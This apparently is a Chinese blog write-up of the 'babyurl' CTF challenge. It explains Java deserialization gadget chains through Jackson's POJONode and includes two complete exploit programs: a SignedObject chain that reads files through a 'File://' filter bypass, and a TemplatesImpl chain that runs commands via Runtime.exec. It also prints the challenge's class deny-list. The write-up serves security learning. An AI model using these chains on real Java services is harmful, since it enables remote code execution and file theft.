返回

JAVA入门到放弃系列之Jackson反序列化(一)

前言

  之前在JAVA入门到放弃系列之TemplatesImpl注入Fastjson内存马中提到无论是Impl链或是二次反序列化的SignedObject都需要借助fastjson的JSONArray/JSONObject来触发getter方法。

  所以同样的,当fastjson库被替换成jackson库,我们依旧可以找到相似的类来触发getter方法,它就是PojoNode,其触发条件如下:

  • 不需要存在该属性
  • getter方法需要有返回值
  • 尽可能的只有一个getter

  我们可以通过一道CTF题来学习这个知识点。

2023巅峰极客-babyurl

/hack路由是入口点,通过传入的payload进行反序列化,/file路由可以读取/tmp/file内容

@GetMapping({"/hack"})
@ResponseBody
public String hack(@RequestParam String payload) {
    byte[] bytes = Base64.getDecoder().decode(payload.getBytes(StandardCharsets.UTF_8));
    ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);

    try {
        ObjectInputStream ois = new MyObjectInputStream(byteArrayInputStream);
        URLHelper o = (URLHelper)ois.readObject();
        System.out.println(o);
        System.out.println(o.url);
        return "ok!";
    } catch (Exception var6) {
        var6.printStackTrace();
        return var6.toString();
    }
}

@RequestMapping({"/file"})
@ResponseBody
public String file() throws IOException {
    File file = new File("/tmp/file");
    if (!file.exists()) {
        file.createNewFile();
    }

    FileInputStream fis = new FileInputStream(file);
    byte[] bytes = new byte[1024];
    fis.read(bytes);
    return new String(bytes);
}

跟一下URLHelper和URLVisiter类,分析可知URLHelper重写了readObject,可以根据传入的内容反序列化后存入/tmp/file,而URLVisiter实现了通过一个url读取内容,并限制了不能以file开头,防止用file协议读文件,其实改个大小写用File://即可绕过

public class URLHelper implements Serializable {
    public String url;
    public URLVisiter visiter = null;
    private static final long serialVersionUID = 1L;

    public URLHelper(String url) {
        this.url = url;
    }

    private void readObject(ObjectInputStream in) throws Exception {
        in.defaultReadObject();
        if (this.visiter != null) {
            String result = this.visiter.visitUrl(this.url);
            File file = new File("/tmp/file");
            if (!file.exists()) {
                file.createNewFile();
            }

            FileOutputStream fos = new FileOutputStream(file);
            fos.write(result.getBytes());
            fos.close();
        }

    }
}

public class URLVisiter implements Serializable {
    public URLVisiter() {
    }

    public String visitUrl(String myurl) {
        if (myurl.startsWith("file")) {
            return "file protocol is not allowed";
        } else {
            URL url = null;

            try {
                url = new URL(myurl);
                BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream()));
                StringBuilder sb = new StringBuilder();

                String inputLine;
                while((inputLine = in.readLine()) != null) {
                    sb.append(inputLine);
                }

                in.close();
                return sb.toString();
            } catch (Exception var6) {
                return var6.toString();
            }
        }
    }
}

最后看下MyObjectInputStream,其中关键是过滤了URLVisiter和URLHelper

public class MyObjectInputStream extends ObjectInputStream {
    public MyObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        String className = desc.getName();
        String[] denyClasses = new String[]{"java.net.InetAddress", "org.apache.commons.collections.Transformer", "org.apache.commons.collections.functors", "com.yancao.ctf.bean.URLVisiter", "com.yancao.ctf.bean.URLHelper"};
        String[] var4 = denyClasses;
        int var5 = denyClasses.length;

        for(int var6 = 0; var6 < var5; ++var6) {
            String denyClass = var4[var6];
            if (className.startsWith(denyClass)) {
                throw new InvalidClassException("Unauthorized deserialization attempt", className);
            }
        }

        return super.resolveClass(desc);
    }
}

再看下包依赖中含有jackson,因此我们可以使用前言中提到的POJONode来形成完整的利用链

image-20230806221208619
image-20230806221208619

综上分析我们可以得出两种解法,一是通过二次反序列化绕过URLVisiter和URLHelper过滤用File://读取flag到/tmp/file中,链子如下:

//链子1
BadAttributeValueExpException#readObject() ->
POJONode#toString() ->
SignedObject#getObject

exp如下:

package com.yancao.ctf;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;
import com.fasterxml.jackson.databind.node.POJONode;
import org.apache.ibatis.javassist.ClassPool;
import org.apache.ibatis.javassist.CtClass;
import org.apache.ibatis.javassist.CtConstructor;
import java.io.*;
import java.security.*;
import java.util.*;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;

public class exp {
    public static void main(String[] args) throws Exception {
        URLHelper Help = new URLHelper("File:///etc/host");
        Help.visiter = new URLVisiter();
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(Help, kp.getPrivate(), Signature.getInstance("DSA"));
        //触发SignedObject#getObject
        POJONode node2 = new POJONode(Help);
        BadAttributeValueExpException val2 = new BadAttributeValueExpException(null);
        Field valfield2 = val2.getClass().getDeclaredField("val");
        valfield2.setAccessible(true);
        valfield2.set(val2, node2);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream  outputStream = new ObjectOutputStream(byteArrayOutputStream);
        outputStream.writeObject(val2);
        outputStream.close();
        System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));
    }
}

打一下,看下file可以发现成功读取到/etc/host(实际题目中还需要找一下flag,由于本地环境,这里不再复现)

二是直接打Impl链子,链子如下:

//链子2
BadAttributeValueExpException#readObject() ->
POJONode#toString() ->
        TemplatesImpl#getOutputProperties

exp如下:

package com.yancao.ctf;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;
import com.fasterxml.jackson.databind.node.POJONode;
import org.apache.ibatis.javassist.ClassPool;
import org.apache.ibatis.javassist.CtClass;
import org.apache.ibatis.javassist.CtConstructor;

import java.io.*;
import java.security.*;
import java.util.*;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;

public class exp {
    public static void setValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] genPayload(String cmd) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[0], clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
        clazz.addConstructor(constructor);
        clazz.getClassFile().setMajorVersion(49);
        return clazz.toBytecode();
    }
  
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", new byte[][]{genPayload("open -na Calculator")});
        setValue(templates, "_name", "1");
        setValue(templates, "_tfactory", (Object)null);

        POJONode jsonNodes = new POJONode(templates);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        Field val = exp.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,jsonNodes);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream  outputStream = new ObjectOutputStream(byteArrayOutputStream);
        outputStream.writeObject(exp);
        outputStream.close();
        System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));
    }
}

打一下,成功弹出计算器

image-20230722150812950
image-20230722150812950

踩坑

  调用POJONode#toString()需要注意的是由于PoJoNode类是继承ValueNode,而ValueNode又是继承BaseJsonNode类的,而BaseJsonNode中有个writeReplace函数,反序列化时会先走这个writeReplace方法进行检查从而中断我们的利用链,这里需要我们重写一下这个BaseNodeJson,将writeReplace方法注释掉即可。

image-20230806223607472
image-20230806223607472

参考资料

[1] https://www.freebuf.com/articles/web/367236.html

[2] https://boogipop.com/2023/05/16/Jackson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%80%9A%E6%9D%80Web%E9%A2%98/

Licensed under CC BY-NC-SA 4.0